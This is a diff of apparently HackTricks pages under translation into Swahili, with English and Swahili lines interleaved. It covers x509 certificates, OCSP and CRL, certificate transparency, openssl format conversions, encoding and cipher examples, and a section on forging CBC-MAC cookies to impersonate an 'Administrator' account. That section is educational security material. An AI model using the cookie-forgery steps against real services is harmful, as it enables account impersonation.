- **Distinguished Name (DN)** inajumuisha utambulisho kamili wa mhusika.
- **Issuer** inaelezea nani alithibitisha na kusaini cheti, ikiwa ni pamoja na sehemu zinazofanana kama za Mhusika kwa CA.
- **Validity Period** inaashiriwa na alama za **Not Before** na **Not After**, kuhakikisha cheti hakitumiki kabla au baada ya tarehe fulani.
- Sehemu ya **Public Key**, muhimu kwa usalama wa cheti, inaelezea algorithimu, ukubwa, na maelezo mengine ya kiufundi ya funguo ya umma.
- **x509v3 extensions** zinaboresha kazi ya cheti, zikielezea **Key Usage**, **Extended Key Usage**, **Subject Alternative Name**, na mali nyingine za kuboresha matumizi ya cheti.
#### **Key Usage and Extensions**
- **Key Usage** identifies cryptographic applications of the public key, like digital signature or key encipherment.
- **Extended Key Usage** further narrows down the certificate's use cases, e.g., for TLS server authentication.
- **Subject Alternative Name** and **Basic Constraint** define additional host names covered by the certificate and whether it's a CA or end-entity certificate, respectively.
- Identifiers like **Subject Key Identifier** and **Authority Key Identifier** ensure uniqueness and traceability of keys.
- **Authority Information Access** and **CRL Distribution Points** provide paths to verify the issuing CA and check certificate revocation status.
- **CT Precertificate SCTs** offer transparency logs, crucial for public trust in the certificate.
- **Key Usage** inatambulisha matumizi ya cryptographic ya funguo ya umma, kama saini ya kidijitali au ufichaji funguo.
- **Extended Key Usage** inapanua zaidi matumizi ya cheti, kwa mfano, kwa uthibitisho wa seva ya TLS.
- **Subject Alternative Name** na **Basic Constraint** zinaelezea majina mengine ya mwenyeji yanayofunikwa na cheti na ikiwa ni cheti cha CA au cheti cha mwisho, mtawalia.
- Vitambulisho kama **Subject Key Identifier** na **Authority Key Identifier** vinahakikisha upekee na ufuatiliaji wa funguo.
- **Authority Information Access** na **CRL Distribution Points** zinatoa njia za kuthibitisha CA inayotoa na kuangalia hali ya kufutwa kwa cheti.
- **CT Precertificate SCTs** zinatoa kumbukumbu za uwazi, muhimu kwa imani ya umma katika cheti.
```python
# Example of accessing and using x509 certificate fields programmatically:
from cryptography import x509
@ -49,8 +40,8 @@ from cryptography.hazmat.backends import default_backend
# Load an x509 certificate (assuming cert.pem is a certificate file)
with open("cert.pem", "rb") as file:
cert_data = file.read()
certificate = x509.load_pem_x509_certificate(cert_data, default_backend())
cert_data = file.read()
certificate = x509.load_pem_x509_certificate(cert_data, default_backend())
# Accessing fields
serial_number = certificate.serial_number
@ -63,160 +54,123 @@ print(f"Issuer: {issuer}")
print(f"Subject: {subject}")
print(f"Public Key: {public_key}")
```
### **Tofauti kati ya OCSP na CRL Distribution Points**
### **Difference between OCSP and CRL Distribution Points**
**OCSP** (**RFC 2560**) inahusisha mteja na jibu wakifanya kazi pamoja kuangalia kama cheti cha umma wa dijiti kimeondolewa, bila kuhitaji kupakua **CRL** kamili. Njia hii ni bora zaidi kuliko **CRL** ya jadi, ambayo inatoa orodha ya nambari za serial za vyeti vilivyondolewa lakini inahitaji kupakua faili kubwa. CRLs zinaweza kujumuisha hadi ingizo 512. Maelezo zaidi yanapatikana [here](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm).
**OCSP** (**RFC 2560**) involves a client and a responder working together to check if a digital public-key certificate has been revoked, without needing to download the full **CRL**. This method is more efficient than the traditional **CRL**, which provides a list of revoked certificate serial numbers but requires downloading a potentially large file. CRLs can include up to 512 entries. More details are available [here](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm).
### **Nini maana ya Uwazi wa Cheti**
### **What is Certificate Transparency**
Uwazi wa Cheti husaidia kupambana na vitisho vinavyohusiana na vyeti kwa kuhakikisha utoaji na uwepo wa vyeti vya SSL unaonekana kwa wamiliki wa domain, CAs, na watumiaji. Malengo yake ni:
Certificate Transparency helps combat certificate-related threats by ensuring the issuance and existence of SSL certificates are visible to domain owners, CAs, and users. Its objectives are:
- Kuzuia CAs kutoa vyeti vya SSL kwa domain bila maarifa ya mmiliki wa domain.
- Kuanzisha mfumo wa ukaguzi wazi wa kufuatilia vyeti vilivyotolewa kwa makosa au kwa uovu.
- Kulinda watumiaji dhidi ya vyeti vya udanganyifu.
- Preventing CAs from issuing SSL certificates for a domain without the domain owner's knowledge.
- Establishing an open auditing system for tracking mistakenly or maliciously issued certificates.
- Safeguarding users against fraudulent certificates.
#### **Makaratasi ya Cheti**
#### **Certificate Logs**
Makaratasi ya cheti ni rekodi za vyeti zinazoweza kukaguliwa hadharani, zinazoongezwa tu, zinazoshughulikiwa na huduma za mtandao. Makaratasi haya yanatoa uthibitisho wa kijasusi kwa ajili ya ukaguzi. Mamlaka za utoaji na umma wanaweza kuwasilisha vyeti kwenye makaratasahaya au kuyatafuta kwa ajili ya uthibitisho. Ingawa idadi halisi ya seva za log haijafanywa kuwa thabiti, inatarajiwa kuwa chini ya elfu moja duniani kote. Seva hizi zinaweza kusimamiwa kwa uhuru na CAs, ISPs, au shirika lolote linalovutiwa.
Certificate logs are publicly auditable, append-only records of certificates, maintained by network services. These logs provide cryptographic proofs for auditing purposes. Both issuance authorities and the public can submit certificates to these logs or query them for verification. While the exact number of log servers is not fixed, it's expected to be less than a thousand globally. These servers can be independently managed by CAs, ISPs, or any interested entity.
#### **Utafutaji**
#### **Query**
Ili kuchunguza makaratasahaya ya Uwazi wa Cheti kwa domain yoyote, tembelea [https://crt.sh/](https://crt.sh).
To explore Certificate Transparency logs for any domain, visit [https://crt.sh/](https://crt.sh).
Mifumo tofauti inapatikana kwa ajili ya kuhifadhi vyeti, kila moja ikiwa na matumizi yake na ulinganifu. Muhtasari huu unashughulikia mifumo kuu na kutoa mwongozo juu ya kubadilisha kati yao.
Different formats exist for storing certificates, each with its own use cases and compatibility. This summary covers the main formats and provides guidance on converting between them.
## **Formats**
## **Mifumo**
### **PEM Format**
- Most widely used format for certificates.
- Requires separate files for certificates and private keys, encoded in Base64 ASCII.
- Common extensions: .cer, .crt, .pem, .key.
- Primarily used by Apache and similar servers.
- Mfumo unaotumika zaidi kwa vyeti.
- Unahitaji faili tofauti kwa vyeti na funguo za faragha, zilizowekwa katika Base64 ASCII.
- Upanuzi wa kawaida: .cer, .crt, .pem, .key.
- Kimsingi hutumiwa na Apache na seva zinazofanana.
### **DER Format**
- A binary format of certificates.
- Lacks the "BEGIN/END CERTIFICATE" statements found in PEM files.
- Common extensions: .cer, .der.
- Often used with Java platforms.
- Mfumo wa binary wa vyeti.
- Huna taarifa za "BEGIN/END CERTIFICATE" zinazopatikana katika faili za PEM.
- Upanuzi wa kawaida: .cer, .der.
- Mara nyingi hutumiwa na majukwaa ya Java.
### **P7B/PKCS#7 Format**
- Stored in Base64 ASCII, with extensions .p7b or .p7c.
- Contains only certificates and chain certificates, excluding the private key.
- Supported by Microsoft Windows and Java Tomcat.
- Huhifadhiwa katika Base64 ASCII, ikiwa na upanuzi .p7b au .p7c.
- Inajumuisha vyeti tu na vyeti vya mnyororo, ikiondoa funguo ya faragha.
- Inasaidiwa na Microsoft Windows na Java Tomcat.
### **PFX/P12/PKCS#12 Format**
- A binary format that encapsulates server certificates, intermediate certificates, and private keys in one file.
- Extensions: .pfx, .p12.
- Mainly used on Windows for certificate import and export.
- Mfumo wa binary unaojumuisha vyeti vya seva, vyeti vya kati, na funguo za faragha katika faili moja.
- Upanuzi: .pfx, .p12.
- Kimsingi hutumiwa kwenye Windows kwa ajili ya kuagiza na kuuza vyeti.
### **Converting Formats**
### **Kubadilisha Mifumo**
**PEM conversions** are essential for compatibility:
**Mabadiliko ya PEM** ni muhimu kwa ajili ya ulinganifu:
- **x509 to PEM**
```bash
openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem
```
- **PEM to DER**
- **PEM hadi DER**
```bash
openssl x509 -outform der -in certificatename.pem -out certificatename.der
```
- **DER to PEM**
- **DER hadi PEM**
```bash
openssl x509 -inform der -in certificatename.der -out certificatename.pem
```
- **PEM to P7B**
- **PEM hadi P7B**
```bash
openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer
```
- **PKCS7 to PEM**
- **PKCS7 hadi PEM**
```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
```
**PFX conversions** are crucial for managing certificates on Windows:
**PFX conversions** ni muhimu kwa usimamizi wa vyeti kwenye Windows:
- **PFX to PEM**
```bash
openssl pkcs12 -in certificatename.pfx -out certificatename.pem
```
- **PFX to PKCS#8** involves two steps:
1. Convert PFX to PEM
- **PFX hadi PKCS#8** inahusisha hatua mbili:
1. Geuza PFX kuwa PEM
```bash
openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
```
2. Convert PEM to PKCS8
2. Geuza PEM kuwa PKCS8
```bash
openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
```
- **P7B to PFX** also requires two commands:
1. Convert P7B to CER
- **P7B to PFX** pia inahitaji amri mbili:
1. Geuza P7B kuwa CER
```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
```
2. Convert CER and Private Key to PFX
2. Geuza CER na Funguo Binafsi kuwa PFX
```bash
openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer
```
- **ASN.1 (DER/PEM) editing** (works with certificates or almost any other ASN.1 structure):
1. Clone [asn1template](https://github.com/wllm-rbnt/asn1template/)
- **ASN.1 (DER/PEM) editing** (inafanya kazi na vyeti au karibu muundo wowote wa ASN.1):
1. Clone [asn1template](https://github.com/wllm-rbnt/asn1template/)
```bash
git clone https://github.com/wllm-rbnt/asn1template.git
```
2. Convert DER/PEM to OpenSSL's generation format
2. Geuza DER/PEM kuwa muundo wa uzalishaji wa OpenSSL
```bash
asn1template/asn1template.pl certificatename.der > certificatename.tpl
asn1template/asn1template.pl -p certificatename.pem > certificatename.tpl
```
3. Edit certificatename.tpl according to your requirements
3. Hariri certificatename.tpl kulingana na mahitaji yako
```bash
vim certificatename.tpl
```
4. Rebuild the modified certificate
4. Jenga upya cheti kilichobadilishwa
```bash
openssl asn1parse -genconf certificatename.tpl -out certificatename_new.der
openssl asn1parse -genconf certificatename.tpl -outform PEM -out certificatename_new.pem
```
---
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %}
---
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,54 +2,54 @@
# CBC
If the **cookie** is **only** the **username** (or the first part of the cookie is the username) and you want to impersonate the username "**admin**". Then, you can create the username **"bdmin"** and **bruteforce** the **first byte** of the cookie.
Ikiwa **cookie** ni **tu** jina la **mtumiaji** (au sehemu ya kwanza ya cookie ni jina la mtumiaji) na unataka kujifanya kuwa mtumiaji "**admin**". Basi, unaweza kuunda jina la mtumiaji **"bdmin"** na **bruteforce** **byte ya kwanza** ya cookie.
# CBC-MAC
**Cipher block chaining message authentication code** (**CBC-MAC**) is a method used in cryptography. It works by taking a message and encrypting it block by block, where each block's encryption is linked to the one before it. This process creates a **chain of blocks**, making sure that changing even a single bit of the original message will lead to an unpredictable change in the last block of encrypted data. To make or reverse such a change, the encryption key is required, ensuring security.
**Cipher block chaining message authentication code** (**CBC-MAC**) ni njia inayotumika katika cryptography. Inafanya kazi kwa kuchukua ujumbe na kuuficha block kwa block, ambapo ulinzi wa kila block unahusishwa na ule wa kabla yake. Mchakato huu unaunda **mnyororo wa blocks**, kuhakikisha kwamba kubadilisha hata bit moja ya ujumbe wa asili kutasababisha mabadiliko yasiyotabirika katika block ya mwisho ya data iliyofichwa. Ili kufanya au kubadilisha mabadiliko kama hayo, funguo ya ulinzi inahitajika, kuhakikisha usalama.
To calculate the CBC-MAC of message m, one encrypts m in CBC mode with zero initialization vector and keeps the last block. The following figure sketches the computation of the CBC-MAC of a message comprising blocks![https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) using a secret key k and a block cipher E:
Ili kuhesabu CBC-MAC ya ujumbe m, mtu anaficha m katika hali ya CBC na vector ya mwanzo ya sifuri na anahifadhi block ya mwisho. Mchoro ufuatao unachora hesabu ya CBC-MAC ya ujumbe unaojumuisha blocks![https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) kwa kutumia funguo ya siri k na cipher ya block E:
![https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC_structure_(en).svg/570px-CBC-MAC_structure_(en).svg.png](<https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC_structure_(en).svg/570px-CBC-MAC_structure_(en).svg.png>)
# Vulnerability
With CBC-MAC usually the **IV used is 0**.\
This is a problem because 2 known messages (`m1` and `m2`) independently will generate 2 signatures (`s1` and `s2`). So:
Kwa CBC-MAC kawaida **IV inayotumika ni 0**.\
Hii ni tatizo kwa sababu ujumbe 2 unaojulikana (`m1` na `m2`) kwa uhuru utaweza kuzalisha saini 2 (`s1` na `s2`). Hivyo:
- `E(m1 XOR 0) = s1`
- `E(m2 XOR 0) = s2`
Then a message composed by m1 and m2 concatenated (m3) will generate 2 signatures (s31 and s32):
Basi ujumbe ulio na m1 na m2 uliounganishwa (m3) utaweza kuzalisha saini 2 (s31 na s32):
- `E(m1 XOR 0) = s31 = s1`
- `E(m2 XOR s1) = s32`
**Which is possible to calculate without knowing the key of the encryption.**
**Ambayo inawezekana kuhesabu bila kujua funguo ya ulinzi.**
Imagine you are encrypting the name **Administrator** in **8bytes** blocks:
Fikiria unaficha jina **Administrator** katika **8bytes** blocks:
- `Administ`
- `rator\00\00\00`
You can create a username called **Administ** (m1) and retrieve the signature (s1).\
Then, you can create a username called the result of `rator\00\00\00 XOR s1`. This will generate `E(m2 XOR s1 XOR 0)` which is s32.\
now, you can use s32 as the signature of the full name **Administrator**.
Unaweza kuunda jina la mtumiaji linaloitwa **Administ** (m1) na kupata saini (s1).\
Kisha, unaweza kuunda jina la mtumiaji linaloitwa matokeo ya `rator\00\00\00 XOR s1`. Hii itazalisha `E(m2 XOR s1 XOR 0)` ambayo ni s32.\
sasa, unaweza kutumia s32 kama saini ya jina kamili **Administrator**.
### Summary
1. Get the signature of username **Administ** (m1) which is s1
2. Get the signature of username **rator\x00\x00\x00 XOR s1 XOR 0** is s32**.**
3. Set the cookie to s32 and it will be a valid cookie for the user **Administrator**.
1. Pata saini ya jina la mtumiaji **Administ** (m1) ambayo ni s1
2. Pata saini ya jina la mtumiaji **rator\x00\x00\x00 XOR s1 XOR 0** ni s32**.**
3. Weka cookie kuwa s32 na itakuwa cookie halali kwa mtumiaji **Administrator**.
# Attack Controlling IV
If you can control the used IV the attack could be very easy.\
If the cookies is just the username encrypted, to impersonate the user "**administrator**" you can create the user "**Administrator**" and you will get it's cookie.\
Now, if you can control the IV, you can change the first Byte of the IV so **IV\[0] XOR "A" == IV'\[0] XOR "a"** and regenerate the cookie for the user **Administrator.** This cookie will be valid to **impersonate** the user **administrator** with the initial **IV**.
Ikiwa unaweza kudhibiti IV inayotumika shambulio linaweza kuwa rahisi sana.\
Ikiwa cookies ni jina la mtumiaji tu lililofichwa, ili kujifanya kuwa mtumiaji "**administrator**" unaweza kuunda mtumiaji "**Administrator**" na utapata cookie yake.\
Sasa, ikiwa unaweza kudhibiti IV, unaweza kubadilisha Byte ya kwanza ya IV hivyo **IV\[0] XOR "A" == IV'\[0] XOR "a"** na kuunda upya cookie kwa mtumiaji **Administrator.** Cookie hii itakuwa halali kwa **kujifanya** mtumiaji **administrator** na **IV** ya awali.
## References
More information in [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC)
Maelezo zaidi katika [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC)
{{#include ../banners/hacktricks-training.md}}

View File

@ -25,7 +25,7 @@
## Encoders
Most of encoded data can be decoded with these 2 ressources:
Sehemu kubwa ya data iliyokodishwa inaweza kufichuliwa kwa kutumia rasilimali hizi 2:
- [https://www.dcode.fr/tools-list](https://www.dcode.fr/tools-list)
- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
@ -33,7 +33,7 @@ Most of encoded data can be decoded with these 2 ressources:
### Substitution Autosolvers
- [https://www.boxentriq.com/code-breaking/cryptogram](https://www.boxentriq.com/code-breaking/cryptogram)
- [https://quipqiup.com/](https://quipqiup.com) - Very good !
- [https://quipqiup.com/](https://quipqiup.com) - Nzuri sana!
#### Caesar - ROTx Autosolvers
@ -45,95 +45,90 @@ Most of encoded data can be decoded with these 2 ressources:
### Base Encodings Autosolver
Check all these bases with: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
Angalia hizi zote za msingi na: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
- **Ascii85**
- `BQ%]q@psCd@rH0l`
- `BQ%]q@psCd@rH0l`
- **Base26** \[_A-Z_]
- `BQEKGAHRJKHQMVZGKUXNT`
- `BQEKGAHRJKHQMVZGKUXNT`
- **Base32** \[_A-Z2-7=_]
- `NBXWYYLDMFZGCY3PNRQQ====`
- `NBXWYYLDMFZGCY3PNRQQ====`
- **Zbase32** \[_ybndrfg8ejkmcpqxot1uwisza345h769_]
- `pbzsaamdcf3gna5xptoo====`
- `pbzsaamdcf3gna5xptoo====`
- **Base32 Geohash** \[_0-9b-hjkmnp-z_]
- `e1rqssc3d5t62svgejhh====`
- `e1rqssc3d5t62svgejhh====`
- **Base32 Crockford** \[_0-9A-HJKMNP-TV-Z_]
- `D1QPRRB3C5S62RVFDHGG====`
- `D1QPRRB3C5S62RVFDHGG====`
- **Base32 Extended Hexadecimal** \[_0-9A-V_]
- `D1NMOOB3C5P62ORFDHGG====`
- `D1NMOOB3C5P62ORFDHGG====`
- **Base45** \[_0-9A-Z $%\*+-./:_]
- `59DPVDGPCVKEUPCPVD`
- `59DPVDGPCVKEUPCPVD`
- **Base58 (bitcoin)** \[_1-9A-HJ-NP-Za-km-z_]
- `2yJiRg5BF9gmsU6AC`
- `2yJiRg5BF9gmsU6AC`
- **Base58 (flickr)** \[_1-9a-km-zA-HJ-NP-Z_]
- `2YiHqF5bf9FLSt6ac`
- `2YiHqF5bf9FLSt6ac`
- **Base58 (ripple)** \[_rpshnaf39wBUDNEGHJKLM4PQ-T7V-Z2b-eCg65jkm8oFqi1tuvAxyz_]
- `pyJ5RgnBE9gm17awU`
- `pyJ5RgnBE9gm17awU`
- **Base62** \[_0-9A-Za-z_]
- `g2AextRZpBKRBzQ9`
- `g2AextRZpBKRBzQ9`
- **Base64** \[_A-Za-z0-9+/=_]
- `aG9sYWNhcmFjb2xh`
- `aG9sYWNhcmFjb2xh`
- **Base67** \[_A-Za-z0-9-_.!\~\_]
- `NI9JKX0cSUdqhr!p`
- `NI9JKX0cSUdqhr!p`
- **Base85 (Ascii85)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
- `BQ%]q@psCd@rH0l`
- `BQ%]q@psCd@rH0l`
- **Base85 (Adobe)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
- `<~BQ%]q@psCd@rH0l~>`
- `<~BQ%]q@psCd@rH0l~>`
- **Base85 (IPv6 or RFC1924)** \[_0-9A-Za-z!#$%&()\*+-;<=>?@^_\`{|}\~\_]
- `Xm4y`V\_|Y(V{dF>\`
- `Xm4y`V\_|Y(V{dF>\`
- **Base85 (xbtoa)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
- `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d`
- `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d`
- **Base85 (XML)** \[\_0-9A-Za-y!#$()\*+,-./:;=?@^\`{|}\~z\_\_]
- `Xm4y|V{~Y+V}dF?`
- `Xm4y|V{~Y+V}dF?`
- **Base91** \[_A-Za-z0-9!#$%&()\*+,./:;<=>?@\[]^\_\`{|}\~"_]
- `frDg[*jNN!7&BQM`
- `frDg[*jNN!7&BQM`
- **Base100** \[]
- `👟👦👣👘👚👘👩👘👚👦👣👘`
- `👟👦👣👘👚👘👩👘👚👦👣👘`
- **Base122** \[]
- `4F ˂r0Xmvc`
- `4F ˂r0Xmvc`
- **ATOM-128** \[_/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC_]
- `MIc3KiXa+Ihz+lrXMIc3KbCC`
- `MIc3KiXa+Ihz+lrXMIc3KbCC`
- **HAZZ15** \[_HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5_]
- `DmPsv8J7qrlKEoY7`
- `DmPsv8J7qrlKEoY7`
- **MEGAN35** \[_3G-Ub=c-pW-Z/12+406-9Vaq-zA-F5_]
- `kLD8iwKsigSalLJ5`
- `kLD8iwKsigSalLJ5`
- **ZONG22** \[_ZKj9n+yf0wDVX1s/5YbdxSo=ILaUpPBCHg8uvNO4klm6iJGhQ7eFrWczAMEq3RTt2_]
- `ayRiIo1gpO+uUc7g`
- `ayRiIo1gpO+uUc7g`
- **ESAB46** \[]
- `3sHcL2NR8WrT7mhR`
- `3sHcL2NR8WrT7mhR`
- **MEGAN45** \[]
- `kLD8igSXm2KZlwrX`
- `kLD8igSXm2KZlwrX`
- **TIGO3FX** \[]
- `7AP9mIzdmltYmIP9mWXX`
- `7AP9mIzdmltYmIP9mWXX`
- **TRIPO5** \[]
- `UE9vSbnBW6psVzxB`
- `UE9vSbnBW6psVzxB`
- **FERON74** \[]
- `PbGkNudxCzaKBm0x`
- `PbGkNudxCzaKBm0x`
- **GILA7** \[]
- `D+nkv8C1qIKMErY1`
- `D+nkv8C1qIKMErY1`
- **Citrix CTX1** \[]
- `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK`
- `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK`
[http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
### HackerizeXS \[_╫Λ↻├☰┏_]
```
╫☐↑Λ↻Λ┏Λ↻☐↑Λ
```
- [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
- [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 Kufa: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
### Morse
```
.... --- .-.. -.-. .- .-. .- -.-. --- .-.. .-
```
- [http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 Dead: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
### UUencoder
```
begin 644 webutils_pl
M2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(
@ -142,96 +137,79 @@ F3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$$`
`
end
```
- [http://www.webutils.pl/index.php?idx=uu](http://www.webutils.pl/index.php?idx=uu)
### XXEncoder
```
begin 644 webutils_pl
hG2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236
5Hol-G2xAEE++
end
```
- [www.webutils.pl/index.php?idx=xx](https://github.com/carlospolop/hacktricks/tree/bf578e4c5a955b4f6cdbe67eb4a543e16a3f848d/crypto/www.webutils.pl/index.php?idx=xx)
### YEncoder
```
=ybegin line=128 size=28 name=webutils_pl
ryvkryvkryvkryvkryvkryvkryvk
=yend size=28 crc32=35834c86
```
- [http://www.webutils.pl/index.php?idx=yenc](http://www.webutils.pl/index.php?idx=yenc)
### BinHex
```
(This file must be converted with BinHex 4.0)
:#hGPBR9dD@acAh"X!$mr2cmr2cmr!!!!!!!8!!!!!-ka5%p-38K26%&)6da"5%p
-38K26%'d9J!!:
```
- [http://www.webutils.pl/index.php?idx=binhex](http://www.webutils.pl/index.php?idx=binhex)
### ASCII85
```
<~85DoF85DoF85DoF85DoF85DoF85DoF~>
```
- [http://www.webutils.pl/index.php?idx=ascii85](http://www.webutils.pl/index.php?idx=ascii85)
### Dvorak keyboard
### Kibodi ya Dvorak
```
drnajapajrna
```
- [https://www.geocachingtoolbox.com/index.php?lang=en\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=en&page=dvorakKeyboard)
### A1Z26
Letters to their numerical value
Herufi kwa thamani yao ya nambari
```
8 15 12 1 3 1 18 1 3 15 12 1
```
### Affine Cipher Encode
Letter to num `(ax+b)%26` (_a_ and _b_ are the keys and _x_ is the letter) and the result back to letter
Herufi kwa nambari `(ax+b)%26` (_a_ na _b_ ni funguo na _x_ ni herufi) na matokeo kurudi kwa herufi
```
krodfdudfrod
```
### SMS Code
**Multitap** [replaces a letter](https://www.dcode.fr/word-letter-change) by repeated digits defined by the corresponding key code on a mobile [phone keypad](https://www.dcode.fr/phone-keypad-cipher) (This mode is used when writing SMS).\
For example: 2=A, 22=B, 222=C, 3=D...\
You can identify this code because you will see\*\* several numbers repeated\*\*.
**Multitap** [inabadilisha herufi](https://www.dcode.fr/word-letter-change) kwa nambari zinazojirudia zilizofafanuliwa na nambari husika kwenye [keypad ya simu](https://www.dcode.fr/phone-keypad-cipher) (Hali hii inatumika wakati wa kuandika SMS).\
Kwa mfano: 2=A, 22=B, 222=C, 3=D...\
Unaweza kutambua msimbo huu kwa sababu utaona\*\* nambari kadhaa zinazojirudia\*\*.
You can decode this code in: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
Unaweza kufungua msimbo huu katika: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
### Bacon Code
Substitude each letter for 4 As or Bs (or 1s and 0s)
Badilisha kila herufi kwa A nne au B nne (au 1s na 0s)
```
00111 01101 01010 00000 00010 00000 10000 00000 00010 01101 01010 00000
AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA
```
### Runes
![](../images/runes.jpg)
## Compression
**Raw Deflate** and **Raw Inflate** (you can find both in Cyberchef) can compress and decompress data without headers.
**Raw Deflate** na **Raw Inflate** (unaweza kuzipata zote katika Cyberchef) zinaweza kubana na kufungua data bila vichwa.
## Easy Crypto
@ -241,30 +219,25 @@ AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA
### Bifid
A keywork is needed
Neno la ufunguo linahitajika
```
fgaargaamnlunesuneoa
```
### Vigenere
A keywork is needed
Inahitajika neno muhimu
```
wodsyoidrods
```
- [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver)
- [https://www.dcode.fr/vigenere-cipher](https://www.dcode.fr/vigenere-cipher)
- [https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx](https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx)
## Strong Crypto
## Crypto Imara
### Fernet
2 base64 strings (token and key)
2 base64 strings (token na ufunguo)
```
Token:
gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmCv_fS3_VpjL7HxCz7_Q==
@ -272,19 +245,16 @@ gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmC
Key:
-s6eI5hyNh8liH7Gq0urPC-vzPgNnxauKvRO4g03oYI=
```
- [https://asecuritysite.com/encryption/ferdecode](https://asecuritysite.com/encryption/ferdecode)
### Samir Secret Sharing
A secret is splitted in X parts and to recover it you need Y parts (_Y <=X_).
Siri inagawanywa katika sehemu X na ili kuirejesha unahitaji sehemu Y (_Y <=X_).
```
8019f8fa5879aa3e07858d08308dc1a8b45
80223035713295bddf0b0bd1b10a5340b89
803bc8cf294b3f83d88e86d9818792e80cd
```
[http://christian.gen.co/secrets/](http://christian.gen.co/secrets/)
### OpenSSL brute-force

View File

@ -1,184 +1,184 @@
# Cryptographic/Compression Algorithms
# Algorithimu za Kijamii/Kubana
## Cryptographic/Compression Algorithms
## Algorithimu za Kijamii/Kubana
{{#include ../../banners/hacktricks-training.md}}
## Identifying Algorithms
## Kutambua Algorithimu
